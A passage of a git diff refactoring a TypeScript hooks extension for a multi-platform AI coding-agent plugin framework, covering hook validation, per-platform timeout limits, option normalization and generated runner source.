Core 提供的诊断出口。 - * @param hook 当前 Hook 描述。 - * @param platform 当前覆盖所属 Platform ID。 - * @param value 待验证的平台覆盖对象。 - */ -function validatePlatformOptions( - context: ExtensionValidateContext, - hook: DiscoveredHook, - platform: string, - value: unknown, -): void { - /** 当前 Platform 覆盖对象的字段路径前缀。 */ - const prefix = ['platforms', platform] as const; - if (!isPlainObject(value)) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_OPTIONS_INVALID', - severity: 'error', - message: `Hook "${hook.id}" platforms.${platform} must be a plain object.`, - location: { path: hookLocation(context, hook) }, - fieldPath: prefix, - }); - return; - } - /** 当前官方 Adapter 允许的平台覆盖字段集合。 */ - const allowed = platform === CLAUDE_CODE_PLATFORM_ID - ? CLAUDE_CODE_OPTION_FIELDS - : platform === CODEX_PLATFORM_ID - ? CODEX_OPTION_FIELDS - : PORTABLE_OPTION_PLATFORMS.has(platform) - ? PORTABLE_OPTION_FIELDS - : undefined; - if (allowed === undefined) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_SCHEMA_UNAVAILABLE', - severity: 'error', - message: `Hooks Extension has no option schema for Platform "${platform}".`, - location: { path: hookLocation(context, hook) }, - fieldPath: prefix, - }); - return; - } - /** field 表示当前平台覆盖项,用于拒绝 Adapter 不认识的协议字段。 */ - for (const field of Object.keys(value)) { - if (!allowed.has(field)) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_FIELD_UNKNOWN', - severity: 'error', - message: `Hook "${hook.id}" platforms.${platform}.${field} is not supported by that Adapter.`, - location: { path: hookLocation(context, hook) }, - fieldPath: [...prefix, field], - }); + if (!OFFICIAL_PLATFORMS.has(platform) || !isPlainObject(value)) { + error(context, hook, 'HOOK_PLATFORM_OPTIONS_INVALID', `Hook "${hook.id}" has no valid option schema for Platform "${platform}".`, ['platforms', platform]); + continue; + } + /** allowed 是当前官方 Contributor 的精确字段集合。 */ + const allowed = platform === CLAUDE_CODE_PLATFORM_ID ? CLAUDE_FIELDS : platform === CODEX_PLATFORM_ID ? CODEX_FIELDS : PORTABLE_FIELDS; + for (const field of Object.keys(value)) { + if (!allowed.has(field)) + error(context, hook, 'HOOK_PLATFORM_FIELD_UNKNOWN', `Hook "${hook.id}" platforms.${platform}.${field} is unsupported.`, ['platforms', platform, field]); + } + if (value.matcher !== undefined) + validateMatcher(context, hook, value.matcher as JsonValue, ['platforms', platform, 'matcher']); + if (value.timeout !== undefined) + validateTimeout(context, hook, value.timeout as JsonValue, ['platforms', platform, 'timeout']); + if (value.statusMessage !== undefined) + validateStatus(context, hook, value.statusMessage as JsonValue, ['platforms', platform, 'statusMessage']); + if (platform === CODEX_PLATFORM_ID && value.additionalContextLimit !== undefined + && (typeof value.additionalContextLimit !== 'number' || !Number.isInteger(value.additionalContextLimit) || value.additionalContextLimit < 0)) { + error(context, hook, 'HOOK_CONTEXT_LIMIT_INVALID', `Hook "${hook.id}" Codex additionalContextLimit must be a non-negative integer.`, ['platforms', platform, 'additionalContextLimit']); } } - if (value.matcher !== undefined) - validateMatcher(context, hook, value.matcher, [...prefix, 'matcher']); - if (value.timeout !== undefined) - validateTimeout(context, hook, value.timeout, [...prefix, 'timeout']); - if (value.statusMessage !== undefined) - validateStatusMessage(context, hook, value.statusMessage, [...prefix, 'statusMessage']); - if (platform === CODEX_PLATFORM_ID && value.additionalContextLimit !== undefined - && (typeof value.additionalContextLimit !== 'number' - || !Number.isInteger(value.additionalContextLimit) - || value.additionalContextLimit < 0)) { - context.reportDiagnostic({ - code: 'HOOK_CONTEXT_LIMIT_INVALID', - severity: 'error', - message: `Hook "${hook.id}" Codex additionalContextLimit must be a non-negative integer.`, - location: { path: hookLocation(context, hook) }, - fieldPath: [...prefix, 'additionalContextLimit'], - }); + /** SessionEnd 使用两个官方平台公开的硬超时上限。 */ + if (eventName(hook.definition) === 'SessionEnd') { + /** codexTimeout 是覆盖或顶层的最终值。 */ + const codexTimeout = platformOptions(hook.definition, CODEX_PLATFORM_ID)?.timeout ?? hook.definition.timeout; + if (configuredPlatforms.has(CODEX_PLATFORM_ID) && typeof codexTimeout === 'number' && codexTimeout > 3) + error(context, hook, 'HOOK_TIMEOUT_PLATFORM_LIMIT', `Hook "${hook.id}" exceeds Codex SessionEnd's 3 second maximum.`, ['platforms', CODEX_PLATFORM_ID, 'timeout']); + /** claudeTimeout 是覆盖或顶层的最终值。 */ + const claudeTimeout = platformOptions(hook.definition, CLAUDE_CODE_PLATFORM_ID)?.timeout ?? hook.definition.timeout; + if (configuredPlatforms.has(CLAUDE_CODE_PLATFORM_ID) && typeof claudeTimeout === 'number' && claudeTimeout > 60) + error(context, hook, 'HOOK_TIMEOUT_PLATFORM_LIMIT', `Hook "${hook.id}" exceeds Claude Code SessionEnd's 60 second maximum.`, ['platforms', CLAUDE_CODE_PLATFORM_ID, 'timeout']); } } -/** - * 读取已通过普通对象校验的平台覆盖。 - * - * @param hook 当前 Hook 描述。 - * @param platform 需要读取的 Platform ID。 - * @returns 可索引覆盖对象;缺失或形态无效时返回 undefined。 - */ -export function platformOptions( - hook: DiscoveredHook, - platform: string, -): Readonly> | undefined { - /** Hook 定义中的平台覆盖根节点。 */ - const platforms = hook.definition.platforms; - if (!isPlainObject(platforms)) - return undefined; - /** 指定 Platform 对应的覆盖候选。 */ - const value = platforms[platform]; - return isPlainObject(value) ? value : undefined; -} - -/** - * 校验 Hook 定义、平台范围和两个官方 Adapter Schema。 - * - * @param context Core 提供的规范工程和诊断出口。 - * @param discovered discover 阶段得到的非空 Hooks 状态。 - * @param environment configResolved 阶段保存的平台快照。 - */ -export async function validateHooks( +/** 验证全部 Hook 并声明每个事件 tuple 的跨 Platform 覆盖合同。 */ +export function validateHooks( context: ExtensionValidateContext, discovered: Readonly, - environment: HooksValidationEnvironment, -): Promise { - for (const hook of discovered.hooks) { - /** field 表示当前定义的可枚举字段,用于阻断原始平台 Handler 协议。 */ - for (const field of Object.keys(hook.definition)) { - if (!HOOK_DEFINITION_FIELDS.has(field)) { - context.reportDiagnostic({ - code: 'HOOK_FIELD_UNKNOWN', - severity: 'error', - message: `Hook "${hook.id}" field "${field}" is not part of the canonical authoring contract.`, - location: { path: hookLocation(context, hook) }, - fieldPath: [field], - hint: 'Implement behavior inside run(); raw command, executable, HTTP, prompt, agent, and MCP-tool handlers are not accepted.', - }); - } - } - validateEvent(context, hook, environment); - if (typeof hook.definition.run !== 'function') { - context.reportDiagnostic({ - code: 'HOOK_RUN_REQUIRED', - severity: 'error', - message: `Hook "${hook.id}" must define run().`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['run'], - }); - } - if (hook.definition.matcher !== undefined) - validateMatcher(context, hook, hook.definition.matcher, ['matcher']); - if (hook.definition.timeout !== undefined) - validateTimeout(context, hook, hook.definition.timeout, ['timeout']); - if (hook.definition.statusMessage !== undefined) - validateStatusMessage(context, hook, hook.definition.statusMessage, ['statusMessage']); - - /** 当前 Hook 可选的平台专属补充字段根节点。 */ - const platforms = hook.definition.platforms; - if (platforms !== undefined && !isPlainObject(platforms)) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORMS_INVALID', - severity: 'error', - message: `Hook "${hook.id}" platforms must be a plain object keyed by Platform ID.`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['platforms'], - }); - continue; - } - if (platforms !== undefined) { - for (const [platform, value] of Object.entries(platforms)) { - if (!environment.configuredPlatforms.has(platform)) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_NOT_CONFIGURED', - severity: 'error', - message: `Hook "${hook.id}" configures unconfigured Platform "${platform}".`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['platforms', platform], - }); - continue; - } - /** 平台限定事件不能向其他平台附加无效覆盖。 */ - const eventPlatform = platformForEvent(hook.definition.event); - if (eventPlatform !== undefined && eventPlatform !== platform) { - context.reportDiagnostic({ - code: 'HOOK_PLATFORM_EVENT_SCOPE_INVALID', - severity: 'error', - message: `Hook "${hook.id}" is limited to "${eventPlatform}" and cannot configure "${platform}".`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['platforms', platform], - }); - continue; - } - validatePlatformOptions(context, hook, platform, value); - } - } - - /** Codex 实际采用的超时值,用于落实 SessionEnd 官方三秒上限。 */ - const codexTimeout = platformOptions(hook, CODEX_PLATFORM_ID)?.timeout ?? hook.definition.timeout; - /** 当前事件的规范或平台原生名称。 */ - const name = eventName(hook.definition.event); - /** 当前 Hook 是否会交给 Codex Adapter。 */ - const appliesToCodex = platformForEvent(hook.definition.event) === undefined - || platformForEvent(hook.definition.event) === CODEX_PLATFORM_ID; - if (name === 'SessionEnd' - && appliesToCodex - && environment.configuredPlatforms.has(CODEX_PLATFORM_ID) - && typeof codexTimeout === 'number' - && codexTimeout > 3) { - context.reportDiagnostic({ - code: 'HOOK_TIMEOUT_PLATFORM_LIMIT', - severity: 'error', - message: `Hook "${hook.id}" exceeds Codex SessionEnd's 3 second maximum.`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['platforms', CODEX_PLATFORM_ID, 'timeout'], - }); - } - /** Claude Code 实际采用的超时值,用于落实 SessionEnd 官方六十秒上限。 */ - const claudeTimeout = platformOptions(hook, CLAUDE_CODE_PLATFORM_ID)?.timeout ?? hook.definition.timeout; - /** 当前 Hook 是否会交给 Claude Code Adapter。 */ - const appliesToClaude = platformForEvent(hook.definition.event) === undefined - || platformForEvent(hook.definition.event) === CLAUDE_CODE_PLATFORM_ID; - if (name === 'SessionEnd' - && appliesToClaude - && environment.configuredPlatforms.has(CLAUDE_CODE_PLATFORM_ID) - && typeof claudeTimeout === 'number' - && claudeTimeout > 60) { - context.reportDiagnostic({ - code: 'HOOK_TIMEOUT_PLATFORM_LIMIT', - severity: 'error', - message: `Hook "${hook.id}" exceeds Claude Code SessionEnd's 60 second maximum.`, - location: { path: hookLocation(context, hook) }, - fieldPath: ['platforms', CLAUDE_CODE_PLATFORM_ID, 'timeout'], - }); - } - } + configuredPlatforms: ReadonlySet, +): { readonly state: ValidatedHooks; readonly subjects: readonly { readonly subject: string; readonly capabilities: readonly string[] }[] } { + for (const hook of discovered.hooks) + validateHook(context, hook, configuredPlatforms); + /** 每个 Hook 的 event capability 必须由每个选中 Platform Contributor 精确覆盖。 */ + const subjects = discovered.hooks.map(hook => Object.freeze({ + subject: `hook:${hook.id}`, + capabilities: Object.freeze([`event.${eventCapability(hook.definition)}`]), + })); + return Object.freeze({ state: discovered, subjects: Object.freeze(subjects) }); } -/** 供 Adapter 和 Runner 识别规范事件的只读集合。 */ -export const CANONICAL_HOOK_EVENT_SET: ReadonlySet = new Set(HOOK_EVENTS); +/** 供 Contributor 的固定规范事件类型守卫。 */ +export function isCanonicalEvent(value: string): value is HookEvent { + return EVENT_SET.has(value); +} diff --git a/packages/extensions/hooks/src/index.ts b/packages/extensions/hooks/src/index.ts index 4deaef2..fb47eb7 100644 --- a/packages/extensions/hooks/src/index.ts +++ b/packages/extensions/hooks/src/index.ts @@ -1,20 +1,22 @@ import { defineExtension, type AcpluginExtension, -} from '@tokenroll/acplugin'; -import { createHooksAdapters } from './adapters.js'; -import { buildHooks, type BuiltHooks } from './bundler.js'; -import { EXTENSION_NAME, HOOK_ID_PATTERN } from './constants.js'; + type JsonObject, + type PortableNodeCompileOptions, +} from '@tokenroll/acplugin/sdk'; +import { buildHooks, type BuiltHooks } from './build.js'; +import { HOOK_ID_PATTERN } from './constants.js'; +import { createHooksContributors } from './contributors/index.js'; import { discoverHooks, type DiscoveredHooks, + type ValidatedHooks, validateHooks, } from './discovery.js'; export { EXTENSION_NAME } from './constants.js'; export { CLAUDE_CODE_PLATFORM_EVENTS, - defineHook, HOOK_EVENTS, } from './types.js'; export type { @@ -24,8 +26,7 @@ export type { HookAdvisoryResult, HookContextResult, HookDecisionResult, - HookDefinition, - HookDefinitionInput, + Hook, HookEvent, HookEventDeclaration, HookFlowResult, @@ -40,85 +41,76 @@ export type { PortableHookOptions, } from './types.js'; -/** 创建 Hooks Extension 时可声明的作者资源筛选选项。 */ +/** 创建 Hooks Extension 时可声明的作者资源和编译参数。 */ export interface HooksExtensionOptions { - /** 只构建这些 `src/hooks/`;省略时构建全部 Hook。 */ + /** 只构建这些 `src/hooks/`;省略时构建全部。 */ readonly include?: readonly string[]; + /** 复用 Core `portable-node` 的公共纯 JSON 编译参数。 */ + readonly compile?: PortableNodeCompileOptions; } -/** Hooks Extension 工厂当前接受的公开配置字段。 */ -const HOOKS_OPTION_FIELDS = new Set(['include']); +/** 进入 defineExtension 的 JSON-safe options 形态。 */ +type HooksJsonOptions = JsonObject; -/** - * 拒绝宽类型变量传入的未知 Extension 工厂字段。 - * - * @param options 配置作者提供的 Hooks Extension 选项。 - */ -function validateOptions(options: HooksExtensionOptions): void { +/** Hooks Extension factory 允许的精确字段。 */ +const OPTION_FIELDS = new Set(['include', 'compile']); + +/** 校验并复制可选 Hook ID 白名单。 */ +function normalizedInclude(include: HooksExtensionOptions['include']): readonly string[] | undefined { + if (include === undefined) + return undefined; + if (!Array.isArray(include) || include.some(id => typeof id !== 'string' || !HOOK_ID_PATTERN.test(id))) + throw new TypeError('Hooks include must contain lowercase kebab-case IDs.'); + if (new Set(include).size !== include.length) + throw new TypeError('Hooks include must not contain duplicate IDs.'); + return Object.freeze([...include].sort()); +} + +/** 校验 factory options 顶层和可 JSON 复制的 compile 容器。 */ +function normalizedOptions(options: HooksExtensionOptions): HooksJsonOptions { if (options === null || typeof options !== 'object' || Array.isArray(options)) throw new TypeError('Hooks options must be a plain object.'); for (const field of Object.keys(options)) { - if (!HOOKS_OPTION_FIELDS.has(field)) + if (!OPTION_FIELDS.has(field)) throw new TypeError(`Unknown Hooks option "${field}".`); } + /** include 立即复制,compile 的完整 Schema 由 Core portable-node Host 验证。 */ + const include = normalizedInclude(options.include); + return { + ...(include === undefined ? {} : { include }), + ...(options.compile === undefined ? {} : { compile: options.compile as PortableNodeCompileOptions & JsonObject }), + }; } -/** - * 校验并冻结可选 Hook ID 白名单。 - * - * @param include 配置作者提供的可选 ID 数组。 - * @returns 省略时返回 undefined,否则返回去重后的只读集合。 - */ -function normalizeInclude(include: HooksExtensionOptions['include']): ReadonlySet | undefined { - if (include === undefined) - return undefined; - if (!Array.isArray(include)) - throw new TypeError('Hooks include must be an array of lowercase kebab-case IDs.'); - /** 去重后提供给 discover 阶段的 Hook ID。 */ - const result = new Set(); - /** id 表示当前显式选择的 Hook ID。 */ - for (const id of include) { - if (typeof id !== 'string' || !HOOK_ID_PATTERN.test(id)) - throw new TypeError('Hooks include must contain only lowercase kebab-case IDs.'); - if (result.has(id)) - throw new TypeError(`Hooks include contains duplicate ID "${id}".`); - result.add(id); - } - return result; -} - -/** - * 创建端到端拥有 Hook 作者格式、Bundle 和官方 Adapter 的品牌化 Extension。 - * - * @param options 可选的 Hook ID 白名单。 - * @returns 参与 Core 固定生命周期的 Hooks Extension。 - */ -export function hooks( - options: HooksExtensionOptions = {}, -): AcpluginExtension { - validateOptions(options); - /** 每个 Extension 实例独占且不可被作者随后修改的 include 集合。 */ - const include = normalizeInclude(options.include); - /** configResolved 刷新的已配置 Platform ID 快照。 */ - let configuredPlatforms: ReadonlySet = new Set(); - return defineExtension({ - name: EXTENSION_NAME, +/** 创建以 plain TS descriptor、Core Host 和无序 Contributors 实现的 Hooks Extension。 */ +export function hooks(options: HooksExtensionOptions = {}): AcpluginExtension { + /** normalized 由 defineExtension 再次防御性复制并深度冻结。 */ + const normalized = normalizedOptions(options); + return defineExtension({ + id: 'hooks', apiVersion: '1', - /** 保存当前构建 Platform 身份,供平台事件和专属字段提前验证。 */ - configResolved: (context) => { - configuredPlatforms = new Set(context.platforms.map(platform => platform.id)); + options: normalized, + resourceRoots: ['hooks'], + /** 每个 BuildSession 从 setup integrations 派生不可变平台快照。 */ + createSession({ options: sessionOptions, integrations }) { + /** platforms 不依赖 factory closure 或 Extension 配置顺序。 */ + const platforms = new Set(integrations.filter(item => item.kind === 'platform').map(item => item.id)); + /** include 从 Core 已复制的 JSON options 建立 Session-local Set。 */ + const normalized = sessionOptions as HooksExtensionOptions; + /** include 白名单只在当前 Session 内使用。 */ + const include = normalized.include === undefined ? undefined : new Set(normalized.include); + /** compile 同样只读取 setup 的 frozen options。 */ + const compile = normalized.compile; + return { + /** 从 Extension 独占根发现 Hook 作者模块。 */ + discover: context => discoverHooks(context, include), + /** 校验纯数据 descriptor 并登记跨平台主题。 */ + validate: (context, discovered) => validateHooks(context, discovered, platforms), + /** 通过 Core portable-node 一次编译可复用的 Handler。 */ + build: async (context, validated) => ({ state: await buildHooks(context, validated, compile) }), + contributors: createHooksContributors(), + }; }, - /** 扫描 Extension 独占的 `src/hooks` 作者格式。 */ - discover: context => discoverHooks(context, include), - /** 在 Bundle 前验证规范事件、平台范围和 Adapter Schema。 */ - validate: (context, discovered) => discovered === undefined - ? undefined - : validateHooks(context, discovered, { configuredPlatforms }), - /** 每个 Hook 只生成一份由多个 Adapter 复用的平台中立 Handler。 */ - build: (context, discovered) => discovered === undefined - ? Object.freeze({ hooks: Object.freeze([]) }) - : buildHooks(context, discovered), - adapters: createHooksAdapters(), }); } diff --git a/packages/extensions/hooks/src/runtime-adapter-source.ts b/packages/extensions/hooks/src/runtime-integration-source.ts similarity index 97% rename from packages/extensions/hooks/src/runtime-adapter-source.ts rename to packages/extensions/hooks/src/runtime-integration-source.ts index 4a354fc..41a2efb 100644 --- a/packages/extensions/hooks/src/runtime-adapter-source.ts +++ b/packages/extensions/hooks/src/runtime-integration-source.ts @@ -1,7 +1,7 @@ -import type { BundledHook } from './bundler.js'; +import type { BuiltHook } from './build.js'; import { eventName } from './discovery.js'; -/** 运行时 Platform Plugin 需要的单个 Hook 静态描述。 */ +/** 运行时 Platform integration 需要的单个 Hook 静态描述。 */ interface RuntimeHookDescriptor { /** 规范 Hook ID。 */ readonly id: string; @@ -22,13 +22,13 @@ interface RuntimeHookDescriptor { * @returns 可安全嵌入生成运行时代码的静态 JSON 数据。 */ export function runtimeHookDescriptor( - hook: BundledHook, + hook: BuiltHook, matcher: string | undefined, timeout: number | undefined, ): RuntimeHookDescriptor { return Object.freeze({ id: hook.id, - event: eventName(hook.definition.event), + event: eventName(hook.definition), ...(matcher === undefined ? {} : { matcher }), timeout: Math.max(1, Math.round((timeout ?? 30) * 1_000)), }); diff --git a/packages/extensions/hooks/src/runtime-source.ts b/packages/extensions/hooks/src/runtime-source.ts index 201c9aa..c29c83a 100644 --- a/packages/extensions/hooks/src/runtime-source.ts +++ b/packages/extensions/hooks/src/runtime-source.ts @@ -1,24 +1,18 @@ -import path from 'node:path'; import { MAX_HOOK_IO_BYTES } from './constants.js'; -import type { DiscoveredHook } from './discovery.js'; /** * 生成单个 Hook 的平台中立隔离运行器源码。 * - * Handler 只拥有有限 I/O、规范结果校验和用户实现调用;相邻 `wire.mjs` - * 由当前 Platform Adapter 贡献,负责平台原生输入与输出协议。生成字符串属于 - * 最终 Plugin 运行时代码,不机械注入开发期中文注释。 + * Handler 拥有有限 I/O、规范结果校验、用户实现调用和内联的官方平台 wire。 + * wire 作为虚拟模块一同 Bundle,使最终可执行文件不依赖任何相邻 JavaScript。 + * 生成字符串属于最终 Plugin 运行时代码,不机械注入开发期中文注释。 * - * @param hook 当前 Hook 定义及其源码路径。 - * @param runnerDirectory 临时运行器目录,用于计算可打包的相对导入路径。 * @returns 可交给 Rolldown 的 Node 20 ESM 入口源码。 */ -export function createRunnerSource(hook: DiscoveredHook, runnerDirectory: string): string { - /** 从生成运行器到用户 hook.ts 的 ESM 相对导入路径。 */ - let importPath = path.relative(runnerDirectory, hook.sourcePath).split(path.sep).join('/'); - if (!importPath.startsWith('.')) - importPath = `./${importPath}`; +export function createRunnerSource(): string { return ` +import { contextFor, inputFor, outputFor } from 'acplugin:hook-wire'; + const MAX_BYTES = ${MAX_HOOK_IO_BYTES}; const MAX_JSON_DEPTH = 128; const PLATFORM_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; @@ -42,7 +36,7 @@ const ERROR_CODES = new Set([ 'INPUT_KEY_COLLISION', 'INPUT_OBJECT_REQUIRED', 'INPUT_TOO_DEEP', 'INPUT_TOO_LARGE', 'OUTPUT_TOO_LARGE', 'PLATFORM_EVENT_MISMATCH', 'PLATFORM_INVALID', 'RESULT_DECISION_INVALID', 'RESULT_EVENT_INVALID', 'RESULT_FIELD_INVALID', 'RESULT_INVALID', 'RESULT_SERIALIZATION_FAILED', - 'RESULT_UPDATED_INPUT_INVALID', 'WIRE_CONTEXT_INVALID', 'WIRE_IMPORT_FAILED', 'WIRE_PLATFORM_MISMATCH', + 'RESULT_UPDATED_INPUT_INVALID', 'WIRE_CONTEXT_INVALID', ]); function isJsonValue(value, depth = 0, ancestors = new Set()) { @@ -106,22 +100,13 @@ async function readInput() { async function loadDefinition() { try { - const namespace = await import(${JSON.stringify(importPath)}); + const namespace = await import('./hook.ts'); return namespace.default; } catch { throw new Error('HANDLER_IMPORT_FAILED'); } } -async function loadWire() { - try { - const wireUrl = new URL('./wire.mjs', import.meta.url); - return await import(wireUrl.href); - } catch { - throw new Error('WIRE_IMPORT_FAILED'); - } -} - const safeStdout = process.stdout.write.bind(process.stdout); const safeStderr = process.stderr.write.bind(process.stderr); let interceptedBytes = 0; @@ -190,20 +175,14 @@ process.on('beforeExit', () => { async function main() { const platform = process.argv[2]; if (typeof platform !== 'string' || !PLATFORM_PATTERN.test(platform)) throw new Error('PLATFORM_INVALID'); - const [definition, wire] = await Promise.all([loadDefinition(), loadWire()]); - if (!wire - || wire.platform !== platform - || typeof wire.contextFor !== 'function' - || typeof wire.inputFor !== 'function' - || typeof wire.outputFor !== 'function') - throw new Error('WIRE_PLATFORM_MISMATCH'); + const definition = await loadDefinition(); const declaredEvent = definition && definition.event; const expectedEvent = typeof declaredEvent === 'string' ? declaredEvent : declaredEvent && declaredEvent.name; const platformEvent = typeof declaredEvent === 'object' && declaredEvent !== null; if (platformEvent && declaredEvent.platform !== platform) throw new Error('PLATFORM_EVENT_MISMATCH'); const raw = await readInput(); - const input = wire.inputFor(raw, expectedEvent, declaredEvent); - const runtimeContext = wire.contextFor(process.env); + const input = inputFor(platform, raw, expectedEvent, declaredEvent); + const runtimeContext = contextFor(platform, process.env); if (!runtimeContext || typeof runtimeContext !== 'object' || typeof runtimeContext.pluginRoot !== 'string' @@ -220,7 +199,7 @@ async function main() { throw new Error('HANDLER_FAILED'); } validateResult(expectedEvent, result, platformEvent); - const output = wire.outputFor(expectedEvent, result); + const output = outputFor(platform, expectedEvent, result); if (output) { try { serializedOutput = JSON.stringify(output); diff --git a/packages/extensions/hooks/src/types.ts b/packages/extensions/hooks/src/types.ts index 2c04841..99ad889 100644 --- a/packages/extensions/hooks/src/types.ts +++ b/packages/extensions/hooks/src/types.ts @@ -1,6 +1,6 @@ -import type { JsonValue, PlatformId } from '@tokenroll/acplugin'; +import type { JsonValue } from '@tokenroll/acplugin/sdk'; -/** acplugin 1.0 在所有官方 Adapter 之间保持稳定语义的 Hook 事件。 */ +/** acplugin 1.0 在所有官方 Contributor 之间保持稳定语义的 Hook 事件。 */ export const HOOK_EVENTS = [ 'SessionStart', 'SessionEnd', @@ -42,14 +42,14 @@ export const CLAUDE_CODE_PLATFORM_EVENTS = [ /** 规范 Hook 事件名称联合类型。 */ export type HookEvent = typeof HOOK_EVENTS[number]; -/** 当前 Claude Code Adapter 能识别的平台专属事件名称。 */ +/** 当前 Claude Code Contributor 能识别的平台专属事件名称。 */ export type ClaudeCodePlatformHookEvent = typeof CLAUDE_CODE_PLATFORM_EVENTS[number]; /** 把非规范事件显式限定到一个 Platform,避免悄然污染可移植事件集合。 */ export interface PlatformHookEvent { /** 唯一接收该事件的 Platform ID。 */ readonly platform: string; - /** 由对应 Adapter Schema 识别的平台原生事件名。 */ + /** 由对应 Contributor Schema 识别的平台原生事件名。 */ readonly name: string; } @@ -133,7 +133,7 @@ export type HookInput /** 由生成的 Handler 提供给用户实现的只读运行时上下文。 */ export interface HookRuntimeContext { /** 当前实际触发 Handler 的 Platform。 */ - readonly platform: PlatformId; + readonly platform: string; /** 已安装 Plugin 的只读根目录。 */ readonly pluginRoot: string; /** 平台为 Plugin 提供的可写持久数据目录。 */ @@ -200,7 +200,7 @@ export interface HookResultByEvent { export type HookResult = void | (Event extends HookEvent ? HookResultByEvent[Event] : HookAdvisoryResult); -/** Claude Code Adapter 允许覆盖的单 Hook 平台字段。 */ +/** Claude Code Contributor 允许覆盖的单 Hook 平台字段。 */ export interface ClaudeCodeHookOptions { /** 覆盖当前 Hook 的 Claude Code matcher。 */ readonly matcher?: string; @@ -210,13 +210,13 @@ export interface ClaudeCodeHookOptions { readonly statusMessage?: string; } -/** Codex Adapter 允许覆盖的单 Hook 平台字段。 */ +/** Codex Contributor 允许覆盖的单 Hook 平台字段。 */ export interface CodexHookOptions extends ClaudeCodeHookOptions { /** 调整 Codex 在溢写前直接注入模型的上下文 Token 上限。 */ readonly additionalContextLimit?: number; } -/** Cursor、Antigravity、OpenCode 与 Pi Adapter 共享的受控执行选项。 */ +/** Cursor、Antigravity、OpenCode 与 Pi Contributor 共享的受控执行选项。 */ export interface PortableHookOptions { /** 覆盖当前 Hook 的工具或事件匹配表达式。 */ readonly matcher?: string; @@ -226,7 +226,7 @@ export interface PortableHookOptions { readonly statusMessage?: string; } -/** Hook 的平台专属补充字段;已知 Platform 获得精确类型,其他键由 Adapter 验证。 */ +/** Hook 的平台专属补充字段;已知 Platform 获得精确类型,其他键由 Contributor 验证。 */ export type HookPlatformOptions = Readonly<{ readonly 'claude-code'?: ClaudeCodeHookOptions; readonly 'codex'?: CodexHookOptions; @@ -236,22 +236,17 @@ export type HookPlatformOptions = Readonly<{ readonly 'pi'?: PortableHookOptions; }> & Readonly>; -/** 由 defineHook 注入且不出现在作者输入中的私有品牌。 */ -const hookBrand: unique symbol = Symbol('acplugin.hook'); - -/** 单个 `src/hooks//hook.ts` 默认导出的完整 Hook 定义。 */ -export interface HookDefinition { - /** 仅由 defineHook 注入的名义类型品牌。 */ - readonly [hookBrand]: true; +/** 单个 `src/hooks//hook.ts` 默认导出的完整 Hook 契约。 */ +export interface Hook { /** 需要订阅的规范事件或显式平台限定事件。 */ readonly event: Event; - /** 所有 Adapter 默认继承的匹配表达式。 */ + /** 所有 Contributor 默认继承的匹配表达式。 */ readonly matcher?: string; - /** 所有 Adapter 默认继承的 Handler 超时秒数。 */ + /** 所有 Contributor 默认继承的 Handler 超时秒数。 */ readonly timeout?: number; /** 平台支持时显示的 Handler 状态消息。 */ readonly statusMessage?: string; - /** 按 Platform ID 补充且由对应 Adapter Schema 验证的字段。 */ + /** 按 Platform ID 补充且由对应 Contributor Schema 验证的字段。 */ readonly platforms?: HookPlatformOptions; /** 处理 camelCase 输入并返回对应事件的规范结果。 */ readonly run: ( @@ -259,36 +254,3 @@ export interface HookDefinition HookResult | Promise>; } - -/** 配置作者声明的 Hook 字段,不包含框架私有品牌。 */ -export type HookDefinitionInput - = Omit, typeof hookBrand>; - -/** - * 为 Hook 定义提供事件级类型推断,并注入不可枚举的运行时品牌。 - * - * @param definition 配置作者提供的事件、匹配字段和处理函数。 - * @returns 冻结且只能由当前包识别的完整 Hook 定义。 - */ -export function defineHook( - definition: HookDefinitionInput, -): HookDefinition { - /** 使用浅副本隔离作者随后对原始定义对象的字段替换。 */ - const hook = { ...definition } as HookDefinitionInput & { [hookBrand]?: true }; - Object.defineProperty(hook, hookBrand, { value: true, enumerable: false }); - return Object.freeze(hook) as HookDefinition; -} - -/** - * 判断未知导出是否由当前包的 defineHook 工厂创建。 - * - * @param value TypeScript 描述文件加载后的未知默认导出。 - * @returns 私有品牌存在且基础对象形态有效时返回 true。 - */ -export function isHookDefinition(value: unknown): value is HookDefinition { - if (value === null || typeof value !== 'object') - return false; - /** 读取私有 Symbol 品牌所需的安全索引视图。 */ - const candidate = value as Record; - return candidate[hookBrand] === true; -} diff --git a/packages/extensions/hooks/src/wire-source.ts b/packages/extensions/hooks/src/wire-source.ts index ea48410..3ffb873 100644 --- a/packages/extensions/hooks/src/wire-source.ts +++ b/packages/extensions/hooks/src/wire-source.ts @@ -7,7 +7,7 @@ import { PI_PLATFORM_ID, } from './constants.js'; -/** Hooks Extension 当前内置 Adapter 的 Platform ID。 */ +/** Hooks Extension 当前内置 Contributor 的 Platform ID。 */ export type HookAdapterPlatform = | typeof CLAUDE_CODE_PLATFORM_ID | typeof CODEX_PLATFORM_ID @@ -17,47 +17,33 @@ export type HookAdapterPlatform | typeof PI_PLATFORM_ID; /** - * 创建由单个 Platform Adapter 贡献的 Hook wire profile。 + * 创建内联到平台中立 Handler 的官方 Hook wire profiles。 * - * profile 与平台中立 Handler 相邻安装,独立负责原生 stdin 校验、camelCase - * 输入转换和规范结果到平台 stdout JSON 的映射。即使两个首发平台当前共享 - * 多数 wire 形态,新增 Adapter 也不需要修改或重新构建共享 Handler。 + * profiles 负责原生 stdin 校验、camelCase 输入转换、运行目录解析和规范结果 + * 映射。它作为稳定虚拟模块进入同一个自包含 portable-node Bundle,因此运行时 + * 不依赖 Contributor 后续补写的 JavaScript 文件。 * - * @param platform 当前贡献 profile 的官方 Platform ID。 - * @returns 可作为只读 `wire.mjs` Artifact 写入 Plugin 的 ESM 源码。 + * @returns 可作为 Core Build Service 虚拟模块的 ESM 源码。 */ -export function createWireSource(platform: HookAdapterPlatform): string { - /** 当前 Platform 优先读取的 Plugin 根环境变量。 */ - const pluginRootEnvironment = platform === CLAUDE_CODE_PLATFORM_ID - ? 'CLAUDE_PLUGIN_ROOT' - : platform === CURSOR_PLATFORM_ID - ? 'CURSOR_PLUGIN_ROOT' - : platform === 